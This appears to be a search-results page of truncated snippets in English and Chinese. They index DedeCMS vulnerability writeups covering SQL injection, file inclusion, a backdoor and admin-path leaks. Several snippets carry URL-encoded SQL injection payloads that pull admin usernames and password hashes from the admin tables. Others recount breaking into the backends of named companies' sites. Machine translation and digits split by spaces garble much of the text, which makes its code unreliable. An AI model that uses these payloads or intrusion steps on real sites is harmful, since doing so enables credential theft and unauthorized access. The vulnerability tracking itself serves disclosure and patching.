1712 matches found
Dedecms sub-Station explosion SQL injection-vulnerability warning-the black bar safety net
http://help.dedecms.com//plus/search.php?keyword=as&typeArr1 1 1%3D@"+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,1 2,1 3,1 4,1 5,1 6,1 7,1 8,1 9,2 0,2 1,2 2,2 3,2 4,2 5,2 6,pwd,2 8,2 9,3 0,3 1,3 2,3 3,3 4,3 5,3 6,3 7,3 8,3 9,4 0,4 1,4 2+from+%2 3@admin%2 3@"+=a Broke administrator information...
DedeCMS v5.6 /plus/advancedsearch.php SQL注入漏洞
DedeCMS是国内一款非常流行的网站内容管理系统，其v5.6版本在/plus/advancedsearch.php文件中只要line 36中的$mid不为0，然后能在line 43中检索出自定义模型，便可继续下面的逻辑，因为line 54 变量$sql未初始化，所以利用dede注册变量的逻辑，可以控制$sql的值，所以$sql会被带入数据裤中查询。 DedeCMS 5.6...
亿中邮（亿邮）信息技术官方网站沦陷,已成功进入后台
简要描述： 今天本身没事。为了不让他买叫我盲打王。 所以就打算随便找一个厂商 进行一次 脚本入侵。然后就找到了“亿中邮信息技术” 我大概说一下。没拿下webshell 后台设置了禁止写入。包括数据库备份 根本不可能。另外上传页面直接删除掉了。 但是你们网站的问题很大。 整个入侵过程一共是 20分钟。你们后台就沦陷了！·下面我大概讲一下入侵的整个思路 详细说明： 首先是网站主站有个意见反馈。然后我就很随意的 插入代码了。但是。返回的提交成功 一看就知道 dedecms页面。 然后我就知道。肯定是 失败的。 然后打开data/admin/ver.txt 发现版本很老啊。...
dedecms burst background file techniques-vulnerability warning-the black bar safety net
include/dialog/selectsoft. php files can be broke DEDECMS background,the previous owner of the present can skip the login authentication direct access,without management Member account,a new version of the directly Steering the background. 2. include/dialog/config. php will burst the backstage...
dedecms exploit summary-vulnerability warning-the black bar safety net
dedecms 5.6 rss injection vulnerability http://www.test.com/plus/rss.php?tid=1&Cs1=1&Cs2%20AND%2 0% 2 2% 2 7% 2 2%20AND%20updatexml%2 8 1,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,1 6% 2 9,0x5d%2 9%20FROM%20dedeadmin%29,1%2 9%2 3'0=1 DedeCms v5. 6 embed malicious code execution vulnerability...
DedeCMS V5.7SP1 /group/global.inc.php SQL注入漏洞
No description provided by source...
Weave a dream(Dedecms)V5. X local file inclusion vulnerability-vulnerability warning-the black bar safety net
Release time: 2013-03-29 GMT+0 8 0 0 Vulnerability version: DedeCms 5. x Vulnerability description: DedeCms is a free PHP web content management system. plus/carbuyaction. php has no variable strict filtering Vulnerabilities of the two files is: Include/payment/alipay.php Include/payment/yeepay.p...
dedecms local file inclusion and Lilu-path leaked 0day-vulnerability warning-the black bar safety net
Dinner eating support, scan the following code digestion digestion. Recently Php0day group where the brothers are in the discussion of the dede hole more quickly under a jacket, with editplus search for a few keywords, and sure enough found some problems. Saying usually write code also like to us...
DedeCms 5.x 本地文件包含漏洞(respond方法)
DedeCms是免费的PHP网站内容管理系统。 plus/carbuyaction.php里没有对变量进行严格的过滤 出现漏洞的两个文件为： Include/payment/alipay.php Include/payment/yeepay.php 漏洞均出现在respond方法里 Include/payment/alipay.php code...... function respond if !empty$POST foreach$POST as $key = $data $GET$key = $data; / 引入配置文件 / requireonce...
dedecms chicken was injected with the details of the analysis process-exploit warning-the black bar safety net
One of the secondary injection because of the word limit, so is particularly tasteless. In addition, I wish you all a Happy New Year ：） Detailed description: 2 3 3 extract$arcRow, EXTRSKIP; 2 3 4 $msg = cnsubstrRTrimMsg$msg, 1 0 0 0; 2 3 5 $username = cnsubstrRHtmlReplace$username, 2, 2 0; 2 3 6...
ShopEX官方网站及旗下ECSHOP官方网站高危漏洞
简要描述： 域名反查www.shopexdrp.cn，发现ShopEX官方子网站、及ecshop官方网站等都在同一台服务器上，其中www.shopexdrp.cn使用dedecms，利用该CMS注入漏洞，可拿到webshell，同服务上的众多官方子网站及旗下网站被控制。 详细说明： 利用dedecms sql注入漏洞：...
DedeCMS 5.7 /include/shopcar.class.php 后门
No description provided by source...
DedeCMS 5.7SP1 /plus/download.php URL重定向漏洞
DedeCMS是基于PHP+MySQL的技术开发，支持多种服务器平台的内容管理系统。 在/plus/download.php中代码59行传入base64加密之后的参数link，经过代码的解码之后，再经过代码67行header函数就会重定向到任意网站。 0 DedeCMS 5.7SP1 升级到官方最新版: http://www.dedecms.com/...
Hishop商城系统官方网站后台账号密码泄露
简要描述： Hishop商城系统官方网站存在注入漏洞，已爆出用户名密码，后台未找到！！！ 详细说明： Hishop商城系统官方网站存在注入漏洞，网站使用dedecms系统，未打最新补丁，search.php文件可被注入。exp：...
Woven dream CMS vulnerability dedecms vulnerability 2013-02-10 SQL injection vulnerability-vulnerability warning-the black bar safety net
www.xxx.com/plus/search.php?keyword= In include/shopcar. class. php First take a look at this shopcar class is how to generate the cookie function saveCookie$key,$value ifisarray$value $value = $this-enCrypt$this-enCode$value; else $value = $this-enCrypt$value; setcookie$key,$value,time+3 6 0 0...
DedeCMS member center short message SQL injection 0day vulnerabilities-vulnerability warning-the black bar safety net
Need:magicquotesgpc = Off DedeCMS member center short message SQL injection vulnerability,successfully exploited this vulnerability could obtain the administrator password, etc. Saw on Twitter someone mentioned,even also made tasteless. | | http://bt/de/member/pm.php?dopost=read&id=1%2 7%20and%2...
Woven dream CMS vulnerability dedecms vulnerability 2013-02-10 SQL injection vulnerability-vulnerability warning-the black bar safety net
www.xxx.com/plus/search.php?keyword= In include/shopcar. class. php First take a look at this shopcar class is how to generate the cookie 2 3 9 function saveCookie$key,$value 2 4 0 2 4 1 ifisarray$value 2 4 2 2 4 3 $value = $this-enCrypt$this-enCode$value; 2 4 4 2 4 5 else 2 4 6 2 4 7 $value =...
Woven dream SQL injection vulnerability re-use-vulnerability warning-the black bar safety net
Vulnerability type: SQL injection vulnerability Brief description: Need magicquotesgpc=Off,should be no big hazard vulnerability. The original the tick had a Dedecms injection vulnerability,seemingly did not repair,re-use,you can get the administrator password. Detailed description: With this...
DedeCms V57 plus/search. php file to SQL injection-vulnerability warning-the black bar safety net
Twitter on seen on the analysis,this exploit is more than one place can be utilized. Can actually disregard magicquotesgpc = On. Really not tasteless. Author: [email protected] Dedecms latest version plus/search.php file there is a variable override vulnerability,successfully exploited this...